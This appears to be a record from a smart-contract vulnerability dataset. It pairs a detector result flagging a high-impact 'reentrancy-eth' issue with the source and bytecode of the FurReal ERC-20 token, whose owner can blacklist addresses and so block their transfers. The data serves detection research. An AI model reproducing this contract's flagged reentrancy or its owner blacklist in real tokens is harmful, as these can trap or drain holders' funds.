52602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b600061101b306107f9565b6018546016549192508210159082106110345760165491505b80801561104b5750601554600160a81b900460ff16155b801561106557506015546001600160a01b03868116911614155b801561107a5750601554600160b01b900460ff165b801561109f57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c457506001600160a01b03841660009081526005602052604090205460ff16155b156110e4576110d2826112e6565b4780156110e2576110e247611228565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112957506001600160a01b03831660009081526005602052604090205460ff165b8061115b57506015546001600160a01b0385811691161480159061115b57506015546001600160a01b03848116911614155b15611168575060006111e2565b6015546001600160a01b03858116911614801561119357506014546001600160a01b03848116911614155b156111a557600854600c55600954600d555b6015546001600160a01b0384811691161480156111d057506014546001600160a01b03858116911614155b156111e257600a54600c55600b54600d555b610a6f8484848461146f565b600081848411156112125760405162461bcd60e51b81526004016106269190611a25565b50600061121f8486611ccb565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610697573d6000803e3d6000fd5b60006006548211156112c95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610626565b60006112d361149d565b90506112df83826114c0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132e5761132e611c6c565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138257600080fd5b505afa158015611396573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ba9190611ce2565b816001815181106113cd576113cd611c6c565b6001600160a01b0392831660209182029290920101526014546113f39130911684610b8e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142c908590600090869030904290600401611cff565b600060405180830381600087803b15801561144657600080fd5b505af115801561145a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147c5761147c611502565b611487848484611530565b80610a6f57610a6f600e54600c55600f54600d55565b60008060006114aa611627565b90925090506114b982826114c0565b9250505090565b60006112df83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611667565b600c541580156115125750600d54155b1561151957565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154287611695565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157490876116f2565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a39086611734565b6001600160a01b0389166000908152600260205260409020556115c581611793565b6115cf84836117dd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161491815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164282826114c0565b82101561165e57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116885760405162461bcd60e51b81526004016106269190611a25565b50600061121f8486611d70565b60008060008060008060008060006116b28a600c54600d54611801565b92509250925060006116c261149d565b905060008060006116d58e878787611856565b919e509c509a509598509396509194505050505091939550919395565b60006112df83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ee565b6000806117418385611cb3565b9050838110156112df5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b600061179d61149d565b905060006117ab83836118a6565b306000908152600260205260409020549091506117c89082611734565b30600090815260026020526040902055505050565b6006546117ea90836116f2565b6006556007546117fa9082611734565b6007555050565b600080808061181b606461181589896118a6565b906114c0565b9050600061182e60646118158a896118a6565b90506000611846826118408b866116f2565b906116f2565b9992985090965090945050505050565b600080808061186588866118a6565b9050600061187388876118a6565b9050600061188188886118a6565b905060006118938261184086866116f2565b939b939a50919850919650505050505050565b6000826118b5575060006106ac565b60006118c18385611d92565b9050826118ce8583611d70565b146112df5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f657600080fd5b803561195b8161193b565b919050565b6000602080838503121561197357600080fd5b823567ffffffffffffffff8082111561198b57600080fd5b818501915085601f83011261199f57600080fd5b8135818111156119b1576119b1611925565b8060051b604051601f19603f830116810181811085821117156119d6576119d6611925565b6040529182528482019250838101850191888311156119f457600080fd5b938501935b82851015611a1957611a0a85611950565b845293850193928501926119f9565b98975050505050505050565b600060208083528351808285015260005b81811015611a5257858101830151858201604001528201611a36565b81811115611a64576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8d57600080fd5b8235611a988161193b565b946020939093013593505050565b600080600060608486031215611abb57600080fd5b8335611ac68161193b565b92506020840135611ad68161193b565b929592945050506040919091013590565b600060208284031215611af957600080fd5b81356112df8161193b565b8035801515811461195b57600080fd5b600060208284031215611b2657600080fd5b6112df82611b04565b600060208284031215611b4157600080fd5b5035919050565b60008060008060808587031215611b5e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8f57600080fd5b833567ffffffffffffffff80821115611ba757600080fd5b818601915086601f830112611bbb57600080fd5b813581811115611bca57600080fd5b8760208260051b8501011115611bdf57600080fd5b602092830195509350611bf59186019050611b04565b90509250925092565b60008060408385031215611c1157600080fd5b8235611c1c8161193b565b91506020830135611c2c8161193b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cac57611cac611c82565b5060010190565b60008219821115611cc657611cc6611c82565b500190565b600082821015611cdd57611cdd611c82565b500390565b600060208284031215611cf457600080fd5b81516112df8161193b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4f5784516001600160a01b031683529383019391830191600101611d2a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dac57611dac611c82565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206562eb73aa9636e8510bfcb07fe18b7f702e494de87fc44a0c86282f97f419c464736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 2,424 |
0x93b9a86682440ca5b3ae8b5345f67f0afa7ca685
|
/**
*Submitted for verification at Etherscan.io on 2021-06-26
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-26
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-26
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-26
*/
//FurReal Token ($FR)
//Powerful Bot Protect yes
// website: https://www.furrealtoken.com/
//Telegram: https://t.me/FurRealToken
// Twitter: https://twitter.com/TokenFur
//CG, CMC listing: Ongoing
//Fair Launch
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FurReal is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "FurReal";
string private constant _symbol = "FR";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f04565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a27565b61045e565b6040516101789190612ee9565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a6565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d8565b61048d565b6040516101e09190612ee9565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061294a565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061311b565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa4565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061294a565b610783565b6040516102b191906130a6565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e1b565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f04565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a27565b61098d565b60405161035b9190612ee9565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a63565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af6565b6110d1565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061299c565b61121a565b60405161041891906130a6565b60405180910390f35b60606040518060400160405280600781526020017f4675725265616c00000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137df60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe6565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe6565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db8565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4652000000000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe6565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133bc565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e26565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe6565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613066565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612973565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612973565b6040518363ffffffff1660e01b8152600401610e1f929190612e36565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612973565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e88565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b1f565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e5f565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612acd565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe6565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa6565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061212090919063ffffffff16565b61219b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f91906130a6565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613046565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f66565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146791906130a6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613026565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f26565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613006565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613086565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473fffffffffffffffffffffffffffffff